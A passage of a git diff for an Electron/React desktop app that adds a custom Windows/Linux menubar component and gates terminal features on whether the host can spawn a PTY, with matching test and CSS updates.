py-1 text-xs font-normal">{t`File`}</MenubarTrigger>+ <MenubarContent>+ <MenubarItem onSelect={() => dispatch({ kind: 'menu-action', action: 'new-doc' })}>+ {t`New file`}+ <MenubarShortcut>Ctrl+N</MenubarShortcut>+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'menu-action', action: 'new-folder' })}>+ {t`New folder`}+ <MenubarShortcut>Ctrl+Shift+N</MenubarShortcut>+ </MenubarItem>+ <MenubarItem+ onSelect={() => dispatch({ kind: 'menu-action', action: 'new-from-template' })}+ >+ {t`New from Template…`}+ </MenubarItem>+ <MenubarSeparator />+ <MenubarSub>+ <MenubarSubTrigger>{t`Recent project`}</MenubarSubTrigger>+ <MenubarSubContent>+ {snapshot == null || snapshot.recentProjects.length === 0 ? (+ <MenubarItem disabled>{t`No recent projects`}</MenubarItem>+ ) : (+ <>+ {snapshot.recentProjects.slice(0, 10).map((row) => (+ <MenubarItem+ key={row.path}+ onSelect={() => dispatch({ kind: 'open-recent-project', path: row.path })}+ >+ {row.name}+ </MenubarItem>+ ))}+ <MenubarSeparator />+ <MenubarItem+ onSelect={() => dispatch({ kind: 'command', command: 'clear-recent-projects' })}+ >+ {t`Clear menu`}+ </MenubarItem>+ </>+ )}+ </MenubarSubContent>+ </MenubarSub>+ <MenubarItem onSelect={() => dispatch({ kind: 'menu-action', action: 'new-project' })}>+ {t`New project…`}+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'command', command: 'open-navigator' })}>+ {t`Switch project…`}+ <MenubarShortcut>Ctrl+Shift+P</MenubarShortcut>+ </MenubarItem>+ <MenubarItem+ onSelect={() => dispatch({ kind: 'command', command: 'open-folder-dialog' })}+ >+ {t`Open folder…`}+ <MenubarShortcut>Ctrl+O</MenubarShortcut>+ </MenubarItem>+ <MenubarSeparator />+ <MenubarItem onSelect={() => dispatch({ kind: 'menu-action', action: 'new-worktree' })}>+ {t`New worktree…`}+ </MenubarItem>+ <MenubarItem+ onSelect={() => dispatch({ kind: 'menu-action', action: 'switch-worktree' })}+ >+ {t`Switch worktree…`}+ </MenubarItem>+ <MenubarSeparator />+ <MenubarItem+ disabled={activeKind !== 'doc' && activeKind !== 'folder'}+ onSelect={() => dispatch({ kind: 'menu-action', action: 'duplicate' })}+ >+ {t`Duplicate`}+ <MenubarShortcut>Ctrl+D</MenubarShortcut>+ </MenubarItem>+ <MenubarItem+ disabled={activeKind === null}+ onSelect={() => dispatch({ kind: 'menu-action', action: 'rename' })}+ >+ {t`Rename`}+ </MenubarItem>+ <MenubarItem+ disabled={activeKind === null}+ onSelect={() => dispatch({ kind: 'menu-action', action: 'move-to-trash' })}+ >+ {t`Move to Trash`}+ <MenubarShortcut>Ctrl+Del</MenubarShortcut>+ </MenubarItem>+ <MenubarSeparator />+ <MenubarItem+ onSelect={() => dispatch({ kind: 'menu-action', action: 'reveal-in-finder' })}+ >+ {revealLabel}+ </MenubarItem>+ <MenubarItem+ disabled={activeKind === 'asset'}+ onSelect={() => dispatch({ kind: 'menu-action', action: 'send-to-ai' })}+ >+ {t`Open with AI`}+ </MenubarItem>+ <MenubarSub>+ <MenubarSubTrigger>{t`Copy path`}</MenubarSubTrigger>+ <MenubarSubContent>+ <MenubarItem+ onSelect={() => dispatch({ kind: 'menu-action', action: 'copy-full-path' })}+ >+ {t`Full path`}+ </MenubarItem>+ <MenubarItem+ onSelect={() => dispatch({ kind: 'menu-action', action: 'copy-relative-path' })}+ >+ {t`Relative path`}+ </MenubarItem>+ </MenubarSubContent>+ </MenubarSub>+ <MenubarSeparator />+ {snapshot?.canReconfigureMcpWiring === true && (+ <>+ <MenubarItem+ onSelect={() => dispatch({ kind: 'command', command: 'reconfigure-mcp-wiring' })}+ >+ {t`Set up OpenKnowledge integrations…`}+ </MenubarItem>+ <MenubarSeparator />+ </>+ )}+ <MenubarItem onSelect={() => dispatch({ kind: 'command', command: 'open-settings' })}>+ {t`Settings…`}+ <MenubarShortcut>Ctrl+,</MenubarShortcut>+ </MenubarItem>+ <MenubarSeparator />+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'quit' })}>+ {t`Exit`}+ </MenubarItem>+ </MenubarContent>+ </MenubarMenu>++ <MenubarMenu>+ <MenubarTrigger className="px-2 py-1 text-xs font-normal">{t`Edit`}</MenubarTrigger>+ <MenubarContent>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'undo' })}>+ {t`Undo`}+ <MenubarShortcut>Ctrl+Z</MenubarShortcut>+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'redo' })}>+ {t`Redo`}+ <MenubarShortcut>Ctrl+Y</MenubarShortcut>+ </MenubarItem>+ <MenubarSeparator />+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'cut' })}>+ {t`Cut`}+ <MenubarShortcut>Ctrl+X</MenubarShortcut>+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'copy' })}>+ {t`Copy`}+ <MenubarShortcut>Ctrl+C</MenubarShortcut>+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'paste' })}>+ {t`Paste`}+ <MenubarShortcut>Ctrl+V</MenubarShortcut>+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'selectAll' })}>+ {t`Select All`}+ <MenubarShortcut>Ctrl+A</MenubarShortcut>+ </MenubarItem>+ <MenubarSeparator />+ <MenubarCheckboxItem+ checked={snapshot?.spellCheckEnabled ?? true}+ onSelect={() => dispatch({ kind: 'command', command: 'toggle-spell-check' })}+ >+ {t`Check spelling while typing`}+ </MenubarCheckboxItem>+ </MenubarContent>+ </MenubarMenu>++ <MenubarMenu>+ <MenubarTrigger className="px-2 py-1 text-xs font-normal">{t`View`}</MenubarTrigger>+ <MenubarContent>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'reload' })}>+ {t`Reload`}+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'forceReload' })}>+ {t`Force Reload`}+ </MenubarItem>+ {snapshot?.showDevToolsMenu === true && (+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'toggleDevTools' })}>+ {t`Toggle Developer Tools`}+ </MenubarItem>+ )}+ <MenubarSeparator />+ <MenubarItem onSelect={() => dispatch({ kind: 'menu-action', action: 'toggle-sidebar' })}>+ {view?.sidebarVisible === false ? t`Show sidebar` : t`Hide sidebar`}+ <MenubarShortcut>Ctrl+Alt+S</MenubarShortcut>+ </MenubarItem>+ <MenubarItem+ onSelect={() => dispatch({ kind: 'menu-action', action: 'toggle-doc-panel' })}+ >+ {view?.docPanelVisible === false ? t`Show document panel` : t`Hide document panel`}+ <MenubarShortcut>Ctrl+Alt+B</MenubarShortcut>+ </MenubarItem>+ <MenubarSeparator />+ <MenubarCheckboxItem+ checked={view?.showHiddenFiles ?? false}+ onSelect={() => dispatch({ kind: 'menu-action', action: 'toggle-show-hidden-files' })}+ >+ {t`Show hidden files`}+ <MenubarShortcut>Ctrl+Shift+.</MenubarShortcut>+ </MenubarCheckboxItem>+ <MenubarCheckboxItem+ checked={view?.showOkFolders ?? false}+ onSelect={() => dispatch({ kind: 'menu-action', action: 'toggle-show-ok-folders' })}+ >+ {t`Show .ok folders`}+ </MenubarCheckboxItem>+ <MenubarCheckboxItem+ checked={view?.showOnlyMarkdownFiles ?? false}+ onSelect={() =>+ dispatch({ kind: 'menu-action', action: 'toggle-show-only-markdown-files' })+ }+ >+ {t`Show only markdown files`}+ </MenubarCheckboxItem>+ <MenubarCheckboxItem+ checked={view?.showSkillsSection ?? true}+ onSelect={() => dispatch({ kind: 'menu-action', action: 'toggle-show-skills-section' })}+ >+ {t`Show skills section`}+ </MenubarCheckboxItem>+ <MenubarSeparator />+ {(view?.canExpandAll ?? true) && (+ <MenubarItem+ onSelect={() => dispatch({ kind: 'menu-action', action: 'expand-all-tree' })}+ >+ {t`Expand all`}+ </MenubarItem>+ )}+ {(view?.canCollapseAll ?? true) && (+ <MenubarItem+ onSelect={() => dispatch({ kind: 'menu-action', action: 'collapse-all-tree' })}+ >+ {t`Collapse all`}+ </MenubarItem>+ )}+ <MenubarSeparator />+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'resetZoom' })}>+ {t`Actual Size`}+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'zoomIn' })}>+ {t`Zoom In`}+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'zoomOut' })}>+ {t`Zoom Out`}+ </MenubarItem>+ <MenubarSeparator />+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'toggleFullScreen' })}>+ {t`Toggle Full Screen`}+ <MenubarShortcut>F11</MenubarShortcut>+ </MenubarItem>+ </MenubarContent>+ </MenubarMenu>++ <MenubarMenu>+ <MenubarTrigger className="px-2 py-1 text-xs font-normal">{t`Window`}</MenubarTrigger>+ <MenubarContent>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'minimize' })}>+ {t`Minimize`}+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'role', role: 'close' })}>+ {t`Close Window`}+ </MenubarItem>+ </MenubarContent>+ </MenubarMenu>++ <MenubarMenu>+ <MenubarTrigger className="px-2 py-1 text-xs font-normal">{t`Help`}</MenubarTrigger>+ <MenubarContent>+ <MenubarItem onSelect={() => dispatch({ kind: 'command', command: 'open-github' })}>+ {t`OpenKnowledge on GitHub`}+ </MenubarItem>+ <MenubarItem onSelect={() => dispatch({ kind: 'menu-action', action: 'report-bug' })}>+ {t`Report a Bug…`}+ </MenubarItem>+ {snapshot?.canCheckForUpdates === true && (+ <>+ <MenubarSeparator />+ <MenubarItem+ onSelect={() => dispatch({ kind: 'command', command: 'check-for-updates' })}+ >+ {t`Check for updates…`}+ </MenubarItem>+ </>+ )}+ </MenubarContent>+ </MenubarMenu>+ </Menubar>+ );+}diff --git a/packages/app/src/components/EditorHeader.tsx b/packages/app/src/components/EditorHeader.tsxindex f9dfddb17..3a972daf9 100644--- a/packages/app/src/components/EditorHeader.tsx+++ b/packages/app/src/components/EditorHeader.tsx@@ -1,7 +1,8 @@import { parseManagedArtifactName } from '@inkeep/open-knowledge-core';import { Trans, useLingui } from '@lingui/react/macro';import { Search } from 'lucide-react';-import { useState } from 'react';+import { lazy, Suspense, useState } from 'react';+import { shouldShowAppMenubar } from '@/components/app-menubar-gate';import { Button } from '@/components/ui/button';import { Separator } from '@/components/ui/separator';import { SidebarTrigger, useSidebar } from '@/components/ui/sidebar';@@ -25,6 +26,12 @@ import { SettingsButton } from './SettingsButton';import { ShareButton } from './ShareButton';import { SyncStatusBadge } from './SyncStatusBadge';+// Lazy: win/linux-only chrome — the chunk (component + radix Menubar+// primitive) must not ship in the eager bundle web + macOS load.+const AppMenubar = lazy(() =>+ import('@/components/AppMenubar').then((m) => ({ default: m.AppMenubar })),+);+interface EditorHeaderProps {onSignIn?: () => void;onSetIdentity?: () => void;@@ -117,6 +124,14 @@ export function EditorHeader({ onSignIn, onSetIdentity, onOpenSearch }: EditorHeempty in single-file mode. The flex-1 container stays so the rightzone keeps its position and the window-drag spacer is preserved. */}<div className="flex min-w-0 flex-1 items-center gap-1 px-3">+ {/* Windows/Linux custom menubar (windows-linux-port renderer menubar) — heads the chrome row, VS Code+ style. Renders on every window kind (incl. single-file: Window /+ Help / Exit stay reachable); null on darwin + web. */}+ {shouldShowAppMenubar() && (+ <Suspense fallback={null}>+ <AppMenubar />+ </Suspense>+ )}{!singleFile && (<><Tooltip>@@ -177,6 +192,11 @@ export function EditorHeader({ onSignIn, onSetIdentity, onOpenSearch }: EditorHe// of initiating a window drag. Each consumer uses Radix asChild so// the rendered DOM root is a single direct child of this zone.isElectronHost && '[&>*]:[-webkit-app-region:no-drag]',+ // Windows/Linux: the OS window controls float over the top-right+ // of this row (titleBarOverlay). --ok-titlebar-reserve-right is+ // non-zero only under electron-platform-win32/linux (see+ // globals.css); the 0px fallback keeps darwin + web unchanged.+ isElectronHost && 'mr-[var(--ok-titlebar-reserve-right,0px)]',)}>{/* Share is a project surface: single-file `ok <file>` runs agents/MCPdiff --git a/packages/app/src/components/EditorPane.dom.test.tsx b/packages/app/src/components/EditorPane.dom.test.tsxindex 76c996eec..c220fdaf1 100644--- a/packages/app/src/components/EditorPane.dom.test.tsx+++ b/packages/app/src/components/EditorPane.dom.test.tsx@@ -326,6 +326,10 @@ function makeOkDesktopStub(for (const cb of menuHandlers) cb(action);},stub: {+ // The terminal affordances gate on the host's pty capability+ // (`config.ptyAvailable`, false on win/linux where node-pty isn't+ // bundled) — these tests model the capable macOS host.+ config: { ptyAvailable: true },onMenuAction(cb: (action: string) => void) {menuHandlers.push(cb);return () => {@@ -509,6 +513,7 @@ describe('EditorPane terminal dock wiring', () => {// collapsed (the whole feature dead).let retainedDockVisible = true;(window as { okDesktop?: unknown }).okDesktop = {+ config: { ptyAvailable: true },onMenuAction: () => () => {},editor: {notifyViewMenuStateChanged(state: { terminalVisible?: boolean }) {diff --git a/packages/app/src/components/EditorPane.tsx b/packages/app/src/components/EditorPane.tsxindex 2d98d40a5..24ef9323c 100644--- a/packages/app/src/components/EditorPane.tsx+++ b/packages/app/src/components/EditorPane.tsx@@ -112,9 +112,15 @@ export function EditorPane({ onOpenSearch }: EditorPaneProps = {}) {const desktopBridge = typeof window !== 'undefined' ? (window.okDesktop ?? null) : null;// The terminal feature (dock + header New chat / toggle) needs not just a// desktop bridge but one that actually exposes the `terminal` surface — a- // session-only bridge (some E2E hosts) has none. Gate every terminal- // affordance on this so a control that can't launch never renders.- const terminalAvailable = desktopBridge != null && desktopBridge.terminal != null;+ // session-only bridge (some E2E hosts) has none — AND a host that can+ // actually spawn a PTY: `config.ptyAvailable` is false on Windows/Linux+ // (node-pty is not bundled there; terminal dock dark off-mac), where a+ // rendered affordance would only surface a spawn failure. Gate every+ // terminal affordance on both so a control that can't launch never renders.+ const terminalAvailable =+ desktopBridge != null &&+ desktopBridge.terminal != null &&+ desktopBridge.config.ptyAvailable === true;const [terminalVisible, setTerminalVisible] = useState(false);// Which launchable CLIs are on PATH (desktop probe, cached ~60s in main).// Feeds the New-chat default-CLI auto-pick. Starts empty, so resolveDefaultCli@@ -499,7 +505,9 @@ export function EditorPane({ onOpenSearch }: EditorPaneProps = {}) {(terminals + agent threads) docks WITHIN EditorArea — bottom, or its ownright column past the doc panels; EditorArea owns that layout. The livesession host is mounted below (above EditorArea) so a dock move never- remounts it. */}+ remounts it. `terminalAvailable` folds in `ptyAvailable`, so on+ Windows/Linux (no bundled node-pty) the bridge passes as null and the+ dock behaves web-like — thread tabs only, no terminal-kind affordances. */}<div className="flex min-h-0 flex-1 overflow-hidden"><div className="flex min-w-0 flex-1 flex-col"><EditorArea@@ -507,7 +515,7 @@ export function EditorPane({ onOpenSearch }: EditorPaneProps = {}) {onModeChange={handleModeChange}activeTab={activeTab}onActiveTabChange={setActiveTab}- terminalBridge={desktopBridge}+ terminalBridge={terminalAvailable ? desktopBridge : null}terminalVisible={terminalVisible}onTerminalVisibleChange={setTerminalVisible}terminalDock={terminalDock}@@ -519,11 +527,11 @@ export function EditorPane({ onOpenSearch }: EditorPaneProps = {}) {</div>{/* The sessions dock host mounts UNCONDITIONALLY — a shell and an agent arejust tabs of a different kind, and agents are server-hosted, so the dock- is host-agnostic (web = thread tabs only). Terminal-kind affordances gate- on the bridge inside the host. */}+ is host-agnostic (web = thread tabs only, as is win/linux where pty is+ unavailable). Terminal-kind affordances gate on the bridge inside the host. */}<Suspense fallback={null}><TerminalSessionsHost- bridge={desktopBridge}+ bridge={terminalAvailable ? desktopBridge : null}visible={terminalVisible}onVisibleChange={setTerminalVisible}launch={terminalLaunch}diff --git a/packages/app/src/components/NavigatorApp.tsx b/packages/app/src/components/NavigatorApp.tsxindex 278ce1c87..9e8d3ff9d 100644--- a/packages/app/src/components/NavigatorApp.tsx+++ b/packages/app/src/components/NavigatorApp.tsx@@ -28,6 +28,7 @@ import {} from 'lucide-react';import { useTheme } from 'next-themes';import { type ComponentType, lazy, Suspense, useEffect, useState } from 'react';+import { shouldShowAppMenubar } from '@/components/app-menubar-gate';import { useThemeBridge } from '@/hooks/use-theme-bridge';import type {OkDesktopBridge,@@ -69,6 +70,10 @@ const ShareReceiveDialog = lazy(() =>import('./ShareReceiveDialog').then((m) => ({ default: m.ShareReceiveDialog })),);+// Lazy: win/linux-only chrome — keeps the menubar (and its radix primitive)+// out of the eager bundle on web + macOS.+const AppMenubar = lazy(() => import('./AppMenubar').then((m) => ({ default: m.AppMenubar })));+// Re-exports for tests — keeping the surface here avoids churn in existing// test files that import directly from NavigatorApp.tsx and keeps the// shared-helper move transparent.@@ -335,7 +340,21 @@ export function NavigatorApp({ bridge }: { bridge: OkDesktopBridge }) {}`}data-electron-drag={isElectronHost ? '' : undefined}data-testid="nav-chrome-row"- />+ >+ {/* Windows/Linux custom menubar (windows-linux-port renderer menubar): the Navigator has no+ EditorHeader row, so without this a first-launch window would+ have zero menu access there. `pointer-events-auto` re-enables+ clicks inside the strip's pointer-events-none overlay; the+ menubar's own no-drag opt-out keeps its triggers clickable+ within the drag region. Null on darwin + web. */}+ {shouldShowAppMenubar() && (+ <div className="pointer-events-auto flex h-full items-center px-2">+ <Suspense fallback={null}>+ <AppMenubar />+ </Suspense>+ </div>+ )}+ </div>{openingLabel !== null ? (<divclassName="absolute inset-0 z-20 flex flex-col items-center justify-center gap-3 bg-primary-foreground/85 dark:bg-background/85 backdrop-blur-sm"diff --git a/packages/app/src/components/app-menubar-gate.ts b/packages/app/src/components/app-menubar-gate.tsnew file mode 100644index 000000000..c2bce1c43--- /dev/null+++ b/packages/app/src/components/app-menubar-gate.ts@@ -0,0 +1,13 @@+/**+ * Eager-bundle gate for the Windows/Linux custom menubar. Split from+ * `AppMenubar.tsx` so the mount sites (EditorHeader, NavigatorApp) can+ * decide WHETHER to render without pulling the menubar component — and its+ * radix Menubar primitive — into the eager bundle: `AppMenubar` is+ * lazy-loaded, and on web + macOS (where this predicate is false) its chunk+ * never downloads at all.+ */+export function shouldShowAppMenubar(): boolean {+ if (typeof window === 'undefined') return false;+ const bridge = window.okDesktop;+ return bridge != null && bridge.menu != null && bridge.platform !== 'darwin';+}diff --git a/packages/app/src/components/settings/SettingsDialogShell.terminal.dom.test.tsx b/packages/app/src/components/settings/SettingsDialogShell.terminal.dom.test.tsxindex 1a478067f..3e7d1e4c2 100644--- a/packages/app/src/components/settings/SettingsDialogShell.terminal.dom.test.tsx+++ b/packages/app/src/components/settings/SettingsDialogShell.terminal.dom.test.tsx@@ -68,10 +68,14 @@ vi.doMock('@/lib/handoff/use-claude-desktop-integration', () => ({const { SettingsDialogShell } = await import('./SettingsDialogShell');-function setDesktopHost(present: boolean) {+function setDesktopHost(present: boolean, opts: { ptyAvailable?: boolean } = {}) {const w = window as unknown as { okDesktop?: unknown };- if (present) w.okDesktop = {};- else {+ if (present) {+ // The Terminal section additionally gates on the host's pty capability+ // (`config.ptyAvailable`, false on win/linux where node-pty isn't+ // bundled) — model the capable macOS host by default.+ w.okDesktop = { config: { ptyAvailable: opts.ptyAvailable ?? true } };+ } else {w.okDesktop = undefined;}}@@ -94,4 +98,10 @@ describe('SettingsDialogShell terminal nav item (desktop-only)', () => {render(<SettingsDialogShell open={true} onOpenChange={() => {}} />);expect(screen.queryByTestId('settings-sidebar-item-terminal')).toBeNull();});++ test('hides the Terminal section on a pty-less Electron host (win/linux)', () => {+ setDesktopHost(true, { ptyAvailable: false });+ render(<SettingsDialogShell open={true} onOpenChange={() => {}} />);+ expect(screen.queryByTestId('settings-sidebar-item-terminal')).toBeNull();+ });});diff --git a/packages/app/src/components/settings/SettingsDialogShell.tsx b/packages/app/src/components/settings/SettingsDialogShell.tsxindex 7da2ba07e..8e08d6149 100644--- a/packages/app/src/components/settings/SettingsDialogShell.tsx+++ b/packages/app/src/components/settings/SettingsDialogShell.tsx@@ -167,6 +167,11 @@ export function SettingsDialogShell({// The docked terminal is desktop-only (the real shell has no web host), so// its per-project revoke toggle only appears under the Electron preload.const isOkDesktopHost = typeof window !== 'undefined' && window.okDesktop != null;+ // The Terminal settings section configures the pty-backed dock, which is+ // dark on hosts that can't spawn a PTY (Windows/Linux — node-pty is not+ // bundled there). Same capability gate as the dock affordances themselves.+ const terminalSettingsAvailable =+ isOkDesktopHost && window.okDesktop?.config.ptyAvailable === true;// One sidebar item per ENABLED project-scope plugin. These populate the// "Project plugins" sidebar group; the manage page (which toggles membership)@@ -218,7 +223,7 @@ export function SettingsDialogShell({{ id: 'search', label: t`Search` },{ id: 'plugins-manage', label: t`Plugins` },...(isFileProtocolRenderer ? [] : [{ id: 'link-previews', label: t`Link previews` }]),- ...(isOkDesktopHost ? [{ id: 'terminal', label: t`Terminal` }] : []),+ ...(terminalSettingsAvailable ? [{ id: 'terminal', label: t`Terminal` }] : []),// Per-project MCP wiring + runtime skill — desktop-only because the// install actors live in the Electron main process (like Terminal)....(isOkDesktopHost ? [{ id: 'project-ai-tools', label: t`AI tools` }] : []),diff --git a/packages/app/src/components/ui/menubar.tsx b/packages/app/src/components/ui/menubar.tsxnew file mode 100644index 000000000..787ee4e66--- /dev/null+++ b/packages/app/src/components/ui/menubar.tsx@@ -0,0 +1,257 @@+import { CheckIcon, ChevronRightIcon } from 'lucide-react';+import { Menubar as MenubarPrimitive } from 'radix-ui';+import type * as React from 'react';+import { cn } from '@/lib/utils';++function Menubar({ className, ...props }: React.ComponentProps<typeof MenubarPrimitive.Root>) {+ return (+ <MenubarPrimitive.Root+ data-slot="menubar"+ className={cn('flex h-8 items-center gap-0.5 rounded-lg border p-[3px]', className)}+ {...props}+ />+ );+}++function MenubarMenu({ ...props }: React.ComponentProps<typeof MenubarPrimitive.Menu>) {+ return <MenubarPrimitive.Menu data-slot="menubar-menu" {...props} />;+}++function MenubarGroup({ ...props }: React.ComponentProps<typeof MenubarPrimitive.Group>) {+ return <MenubarPrimitive.Group data-slot="menubar-group" {...props} />;+}++function MenubarPortal({ ...props }: React.ComponentProps<typeof MenubarPrimitive.Portal>) {+ return <MenubarPrimitive.Portal data-slot="menubar-portal" {...props} />;+}++function MenubarRadioGroup({ ...props }: React.ComponentProps<typeof MenubarPrimitive.RadioGroup>) {+ return <MenubarPrimitive.RadioGroup data-slot="menubar-radio-group" {...props} />;+}++function MenubarTrigger({+ className,+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.Trigger>) {+ return (+ <MenubarPrimitive.Trigger+ data-slot="menubar-trigger"+ className={cn(+ 'flex items-center rounded-sm px-1.5 py-[2px] text-sm font-medium outline-hidden select-none hover:bg-muted aria-expanded:bg-muted',+ className,+ )}+ {...props}+ />+ );+}++function MenubarContent({+ className,+ align = 'start',+ alignOffset = -4,+ sideOffset = 8,+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.Content>) {+ return (+ <MenubarPortal>+ <MenubarPrimitive.Content+ data-slot="menubar-content"+ align={align}+ alignOffset={alignOffset}+ sideOffset={sideOffset}+ className={cn(+ 'z-50 min-w-36 origin-(--radix-menubar-content-transform-origin) overflow-hidden rounded-lg bg-popover p-1 text-popover-foreground shadow-md ring-1 ring-foreground/10 duration-100 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95',+ className,+ )}+ {...props}+ />+ </MenubarPortal>+ );+}++function MenubarItem({+ className,+ inset,+ variant = 'default',+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.Item> & {+ inset?: boolean;+ variant?: 'default' | 'destructive';+}) {+ return (+ <MenubarPrimitive.Item+ data-slot="menubar-item"+ data-inset={inset}+ data-variant={variant}+ className={cn(+ "group/menubar-item relative flex cursor-default items-center gap-1.5 rounded-md px-1.5 py-1 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-inset:pl-7 data-[variant=destructive]:text-destructive data-[variant=destructive]:focus:bg-destructive/10 data-[variant=destructive]:focus:text-destructive dark:data-[variant=destructive]:focus:bg-destructive/20 data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 data-[variant=destructive]:*:[svg]:text-destructive!",+ className,+ )}+ {...props}+ />+ );+}++function MenubarCheckboxItem({+ className,+ children,+ checked,+ inset,+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.CheckboxItem> & {+ inset?: boolean;+}) {+ return (+ <MenubarPrimitive.CheckboxItem+ data-slot="menubar-checkbox-item"+ data-inset={inset}+ className={cn(+ 'relative flex cursor-default items-center gap-1.5 rounded-md py-1 pr-1.5 pl-7 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground focus:**:text-accent-foreground data-inset:pl-7 data-disabled:pointer-events-none [&_svg]:pointer-events-none [&_svg]:shrink-0',+ className,+ )}+ checked={checked}+ {...props}+ >+ <span className="pointer-events-none absolute left-1.5 flex size-4 items-center justify-center [&_svg:not([class*='size-'])]:size-4">+ <MenubarPrimitive.ItemIndicator>+ <CheckIcon />+ </MenubarPrimitive.ItemIndicator>+ </span>+ {children}+ </MenubarPrimitive.CheckboxItem>+ );+}++function MenubarRadioItem({+ className,+ children,+ inset,+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.RadioItem> & {+ inset?: boolean;+}) {+ return (+ <MenubarPrimitive.RadioItem+ data-slot="menubar-radio-item"+ data-inset={inset}+ className={cn(+ "relative flex cursor-default items-center gap-1.5 rounded-md py-1 pr-1.5 pl-7 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground focus:**:text-accent-foreground data-inset:pl-7 data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",+ className,+ )}+ {...props}+ >+ <span className="pointer-events-none absolute left-1.5 flex size-4 items-center justify-center [&_svg:not([class*='size-'])]:size-4">+ <MenubarPrimitive.ItemIndicator>+ <CheckIcon />+ </MenubarPrimitive.ItemIndicator>+ </span>+ {children}+ </MenubarPrimitive.RadioItem>+ );+}++function MenubarLabel({+ className,+ inset,+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.Label> & {+ inset?: boolean;+}) {+ return (+ <MenubarPrimitive.Label+ data-slot="menubar-label"+ data-inset={inset}+ className={cn('px-1.5 py-1 text-sm font-medium data-inset:pl-7', className)}+ {...props}+ />+ );+}++function MenubarSeparator({+ className,+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.Separator>) {+ return (+ <MenubarPrimitive.Separator+ data-slot="menubar-separator"+ className={cn('-mx-1 my-1 h-px bg-border', className)}+ {...props}+ />+ );+}++function MenubarShortcut({ className, ...props }: React.ComponentProps<'span'>) {+ return (+ <span+ data-slot="menubar-shortcut"+ className={cn(+ 'ml-auto text-xs tracking-widest text-muted-foreground group-focus/menubar-item:text-accent-foreground',+ className,+ )}+ {...props}+ />+ );+}++function MenubarSub({ ...props }: React.ComponentProps<typeof MenubarPrimitive.Sub>) {+ return <MenubarPrimitive.Sub data-slot="menubar-sub" {...props} />;+}++function MenubarSubTrigger({+ className,+ inset,+ children,+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.SubTrigger> & {+ inset?: boolean;+}) {+ return (+ <MenubarPrimitive.SubTrigger+ data-slot="menubar-sub-trigger"+ data-inset={inset}+ className={cn(+ "flex cursor-default items-center gap-1.5 rounded-md px-1.5 py-1 text-sm outline-none select-none focus:bg-accent focus:text-accent-foreground data-inset:pl-7 data-open:bg-accent data-open:text-accent-foreground [&_svg:not([class*='size-'])]:size-4",+ className,+ )}+ {...props}+ >+ {children}+ <ChevronRightIcon className="ml-auto size-4" />+ </MenubarPrimitive.SubTrigger>+ );+}++function MenubarSubContent({+ className,+ ...props+}: React.ComponentProps<typeof MenubarPrimitive.SubContent>) {+ return (+ <MenubarPrimitive.SubContent+ data-slot="menubar-sub-content"+ className={cn(+ 'z-50 min-w-32 origin-(--radix-menubar-content-transform-origin) overflow-hidden rounded-lg bg-popover p-1 text-popover-foreground shadow-lg ring-1 ring-foreground/10 duration-100 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95',+ className,+ )}+ {...props}+ />+ );+}++export {+ Menubar,+ MenubarCheckboxItem,+ MenubarContent,+ MenubarGroup,+ MenubarItem,+ MenubarLabel,+ MenubarMenu,+ MenubarPortal,+ MenubarRadioGroup,+ MenubarRadioItem,+ MenubarSeparator,+ MenubarShortcut,+ MenubarSub,+ MenubarSubContent,+ MenubarSubTrigger,+ MenubarTrigger,+};diff --git a/packages/app/src/globals.css b/packages/app/src/globals.cssindex f9c709f89..c217b0334 100644--- a/packages/app/src/globals.css+++ b/packages/app/src/globals.css@@ -2931,6 +2931,27 @@ html.electron-mode {--ok-titlebar-reserve-left: 78px;}+/*+ Windows/Linux chrome (electron-platform-* classes come from the FOUC+ script alongside electron-mode, read off `window.okDesktop.platform`).+ No traffic lights on these platforms — collapse the left reserve back to+ the 1rem base padding. The OS window controls instead float top-RIGHT via+ Electron's titleBarOverlay (Window Controls Overlay), so reserve the right+ edge of the chrome row for them. The `titlebar-area-*` env() vars are live+ exactly when WCO is enabled; the fallbacks make the reserve 0 on darwin,+ web, and any WCO-less window. Consumers use the 